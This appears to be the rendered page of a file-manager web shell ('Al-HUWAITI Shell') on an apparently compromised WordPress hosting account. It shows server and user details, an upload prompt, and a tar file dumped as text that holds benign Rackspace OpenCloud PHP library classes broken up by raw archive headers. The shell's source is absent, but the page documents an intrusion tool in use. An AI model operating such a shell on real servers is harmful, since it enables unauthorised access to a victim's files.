hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : chryzalihi ( 621211)
PHP Version : 8.3.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/chryzalihi/www/wp-content/languages/themes/the/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/chryzalihi/www/wp-content/languages/themes/the/Service.php.tar
home/chryzalihi/www/wp-contentOLD/plugins/backwpup/vendor/OpenCloud/Identity/Service.php000060400000013472152445265740025530 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\Identity;

use Guzzle\Http\ClientInterface;
use OpenCloud\Common\Base;
use OpenCloud\Common\Collection\PaginatedIterator;
use OpenCloud\Common\Collection\ResourceIterator;
use OpenCloud\Common\Http\Message\Formatter;
use OpenCloud\Common\Service\AbstractService;
use OpenCloud\Identity\Constants\User as UserConst;
use OpenCloud\OpenStack;

/**
 * Class responsible for working with Rackspace's Cloud Identity service.
 *
 * @package OpenCloud\Identity
 */
class Service extends AbstractService
{
    /**
     * Factory method which allows for easy service creation
     *
     * @param  ClientInterface $client
     * @return self
     */
    public static function factory(ClientInterface $client)
    {
        $identity = new self();

        if (($client instanceof Base || $client instanceof OpenStack) && $client->hasLogger()) {
            $identity->setLogger($client->getLogger());
        }

        $identity->setClient($client);
        $identity->setEndpoint(clone $client->getAuthUrl());

        return $identity;
    }

    /**
     * Get this service's URL, with appended path if necessary.
     *
     * @return \Guzzle\Http\Url
     */
    public function getUrl($path = null)
    {
        $url = clone $this->getEndpoint();

        if ($path) {
            $url->addPath($path);
        }

        return $url;
    }

    /**
     * Get all users for the current tenant.
     *
     * @return \OpenCloud\Common\Collection\ResourceIterator
     */
    public function getUsers()
    {
        $response = $this->getClient()->get($this->getUrl('users'))->send();

        if ($body = Formatter::decode($response)) {
            return ResourceIterator::factory($this, array(
                'resourceClass'  => 'User',
                'key.collection' => 'users'
            ), $body->users);
        }
    }

    /**
     * Used for iterator resource instantation.
     */
    public function user($info = null)
    {
        return $this->resource('User', $info);
    }

    /**
     * Get a user based on a particular keyword and a certain search mode.
     *
     * @param $search string Keyword
     * @param $mode   string Either 'name', 'userId' or 'email'
     * @return \OpenCloud\Identity\Resource\User
     */
    public function getUser($search, $mode = UserConst::MODE_NAME)
    {
        $url = $this->getUrl('users');

        switch ($mode) {
            default:
            case UserConst::MODE_NAME:
                $url->setQuery(array('name' => $search));
                break;
            case UserConst::MODE_ID:
                $url->addPath($search);
                break;
            case UserConst::MODE_EMAIL:
                $url->setQuery(array('email' => $search));
                break;
        }

        $user = $this->resource('User');
        $user->refreshFromLocationUrl($url);

        return $user;
    }

    /**
     * Create a new user with provided params.
     *
     * @param  $params array User data
     * @return \OpenCloud\Identity\Resource\User
     */
    public function createUser(array $params)
    {
        $user = $this->resource('User');
        $user->create($params);

        return $user;
    }

    /**
     * Get all possible roles.
     *
     * @return \OpenCloud\Common\Collection\PaginatedIterator
     */
    public function getRoles()
    {
        return PaginatedIterator::factory($this, array(
            'resourceClass'  => 'Role',
            'baseUrl'        => $this->getUrl()->addPath('OS-KSADM')->addPath('roles'),
            'key.marker'     => 'id',
            'key.collection' => 'roles'
        ));
    }

    /**
     * Get a specific role.
     *
     * @param $roleId string The ID of the role you're looking for
     * @return \OpenCloud\Identity\Resource\Role
     */
    public function getRole($roleId)
    {
        return $this->resource('Role', $roleId);
    }

    /**
     * Generate a new token for a given user.
     *
     * @param   $json    string The JSON data-structure used in the HTTP entity body when POSTing to the API
     * @headers $headers array  Additional headers to send (optional)
     * @return  \Guzzle\Http\Message\Response
     */
    public function generateToken($json, array $headers = array())
    {
        $url = $this->getUrl();
        $url->addPath('tokens');

        $headers += self::getJsonHeader();

        return $this->getClient()->post($url, $headers, $json)->send();
    }

    /**
     * Revoke a given token based on its ID
     *
     * @param $tokenId string Token ID
     * @return \Guzzle\Http\Message\Response
     */
    public function revokeToken($tokenId)
    {
        $token = $this->resource('Token');
        $token->setId($tokenId);

        return $token->delete();
    }

    /**
     * List over all the tenants for this cloud account.
     *
     * @return \OpenCloud\Common\Collection\ResourceIterator
     */
    public function getTenants()
    {
        $url = $this->getUrl();
        $url->addPath('tenants');

        $response = $this->getClient()->get($url)->send();

        if ($body = Formatter::decode($response)) {
            return ResourceIterator::factory($this, array(
                'resourceClass'  => 'Tenant',
                'key.collection' => 'tenants'
            ), $body->tenants);
        }
    }
}
home/chryzalihi/www/wp-contentOLD/plugins/backwpup/vendor/OpenCloud/ObjectStore/Service.php000060400000021001152447425770026150 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\ObjectStore;

use Guzzle\Http\EntityBody;
use OpenCloud\Common\Constants\Header;
use OpenCloud\Common\Constants\Mime;
use OpenCloud\Common\Exceptions;
use OpenCloud\Common\Exceptions\InvalidArgumentError;
use OpenCloud\Common\Http\Client;
use OpenCloud\Common\Http\Message\Formatter;
use OpenCloud\Common\Log\Logger;
use OpenCloud\Common\Service\ServiceBuilder;
use OpenCloud\ObjectStore\Constants\UrlType;
use OpenCloud\ObjectStore\Resource\Container;
use OpenCloud\ObjectStore\Upload\ContainerMigration;

/**
 * The ObjectStore (Cloud Files) service.
 */
class Service extends AbstractService
{
    const DEFAULT_NAME = 'cloudFiles';
    const DEFAULT_TYPE = 'object-store';
    const BATCH_DELETE_MAX = 10000;

    /**
     * This holds the associated CDN service (for Rackspace public cloud)
     * or is NULL otherwise. The existence of an object here is
     * indicative that the CDN service is available.
     */
    private $cdnService;

    public function __construct(Client $client, $type = null, $name = null, $region = null, $urlType = null)
    {
        parent::__construct($client, $type, $name, $region, $urlType);

        try {
            $this->cdnService = ServiceBuilder::factory($client, 'OpenCloud\ObjectStore\CDNService', array(
                'region' => $region
            ));
        } catch (Exceptions\EndpointError $e) {
        }
    }

    /**
     * @return CDNService
     */
    public function getCdnService()
    {
        return $this->cdnService;
    }

    /**
     * List all available containers.
     *
     * @param array $filter
     * @return \OpenCloud\Common\Collection\PaginatedIterator
     */
    public function listContainers(array $filter = array())
    {
        $filter['format'] = 'json';
        return $this->resourceList('Container', $this->getUrl(null, $filter), $this);
    }

    /**
     * @param $data
     * @return Container
     */
    public function getContainer($data = null)
    {
        return new Container($this, $data);
    }

    /**
     * Create a container for this service.
     *
     * @param       $name     The name of the container
     * @param array $metadata Additional (optional) metadata to associate with the container
     * @return bool|static
     */
    public function createContainer($name, array $metadata = array())
    {
        $this->checkContainerName($name);

        $containerHeaders = Container::stockHeaders($metadata);

        $response = $this->getClient()
            ->put($this->getUrl($name), $containerHeaders)
            ->send();

        if ($response->getStatusCode() == 201) {
            return Container::fromResponse($response, $this);
        }

        return false;
    }

    /**
     * Check the validity of a potential container name.
     *
     * @param $name
     * @return bool
     * @throws \OpenCloud\Common\Exceptions\InvalidArgumentError
     */
    public function checkContainerName($name)
    {
        if (strlen($name) == 0) {
            $error = 'Container name cannot be blank';
        }

        if (strpos($name, '/') !== false) {
            $error = 'Container name cannot contain "/"';
        }

        if (strlen($name) > self::MAX_CONTAINER_NAME_LENGTH) {
            $error = 'Container name is too long';
        }

        if (isset($error)) {
            throw new InvalidArgumentError($error);
        }

        return true;
    }

    /**
     * Perform a bulk extraction, expanding an archive file. If the $path is an empty string, containers will be
     * auto-created accordingly, and files in the archive that do not map to any container (files in the base directory)
     * will be ignored. You can create up to 1,000 new containers per extraction request. Also note that only regular
     * files will be uploaded. Empty directories, symlinks, and so on, will not be uploaded.
     *
     * @param        $path        The path to the archive being extracted
     * @param        $archive     The contents of the archive (either string or stream)
     * @param string $archiveType The type of archive you're using {@see \OpenCloud\ObjectStore\Constants\UrlType}
     * @return \Guzzle\Http\Message\Response
     * @throws Exception\BulkOperationException
     * @throws \OpenCloud\Common\Exceptions\InvalidArgumentError
     */
    public function bulkExtract($path = '', $archive, $archiveType = UrlType::TAR_GZ)
    {
        $entity = EntityBody::factory($archive);

        $acceptableTypes = array(
            UrlType::TAR,
            UrlType::TAR_GZ,
            UrlType::TAR_BZ2
        );

        if (!in_array($archiveType, $acceptableTypes)) {
            throw new InvalidArgumentError(sprintf(
                'The archive type must be one of the following: [%s]. You provided [%s].',
                implode($acceptableTypes, ','),
                print_r($archiveType, true)
            ));
        }

        $url = $this->getUrl()->addPath($path)->setQuery(array('extract-archive' => $archiveType));
        $response = $this->getClient()->put($url, array(Header::CONTENT_TYPE => ''), $entity)->send();

        $body = Formatter::decode($response);

        if (!empty($body->Errors)) {
            throw new Exception\BulkOperationException((array) $body->Errors);
        }

        return $response;
    }

    /**
     * @deprecated Please use {@see batchDelete()} instead.
     */
    public function bulkDelete(array $paths)
    {
        $this->getLogger()->warning(Logger::deprecated(__METHOD__, '::batchDelete()'));

        return $this->executeBatchDeleteRequest($paths);
    }

    /**
     * Batch delete will delete an array of object paths. By default,
     * the API will only accept a maximum of 10,000 object deletions
     * per request - so for arrays that exceed this size, it is chunked
     * and sent as individual requests.
     *
     * @param array $paths The objects you want to delete. Each path needs
     *                     be formatted as /{containerName}/{objectName}. If
     *                     you are deleting object_1 and object_2 from the
     *                     photos_container, the array will be:
     *
     *                     array(
     *                        '/photos_container/object_1',
     *                        '/photos_container/object_2'
     *                     )
     *
     * @return array The array of responses from the API
     * @throws Exception\BulkOperationException
     */
    public function batchDelete(array $paths)
    {
        $chunks = array_chunk($paths, self::BATCH_DELETE_MAX);

        $responses = array();

        foreach ($chunks as $chunk) {
            $responses[] = $this->executeBatchDeleteRequest($chunk);
        }

        return $responses;
    }

    /**
     * Internal method for dispatching single batch delete requests.
     *
     * @param array $paths
     * @return \Guzzle\Http\Message\Response
     * @throws Exception\BulkOperationException
     */
    private function executeBatchDeleteRequest(array $paths)
    {
        $entity = EntityBody::factory(implode(PHP_EOL, $paths));

        $url = $this->getUrl()->setQuery(array('bulk-delete' => true));

        $response = $this->getClient()
            ->delete($url, array(Header::CONTENT_TYPE => Mime::TEXT), $entity)
            ->send();

        try {
            $body = Formatter::decode($response);
            if (!empty($body->Errors)) {
                throw new Exception\BulkOperationException((array) $body->Errors);
            }
        } catch (Exceptions\JsonError $e) {
        }

        return $response;
    }

    /**
     * Allows files to be transferred from one container to another.
     *
     * @param Container $old Where you're moving files from
     * @param Container $new Where you're moving files to
     * @return array    Of PUT responses
     */
    public function migrateContainer(Container $old, Container $new, array $options = array())
    {
        $migration = ContainerMigration::factory($old, $new, $options);

        return $migration->transfer();
    }
}
home/chryzalihi/www/wp-contentOLD/plugins/backwpup/vendor/OpenCloud/Common/Constants/Service.php000060400000001350152447734770027141 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\Common\Constants;

class Service
{
    const INTERNAL_URL = 'internalUrl';
    const PUBLIC_URL = 'publicUrl';
}

Al-HUWAITI Shell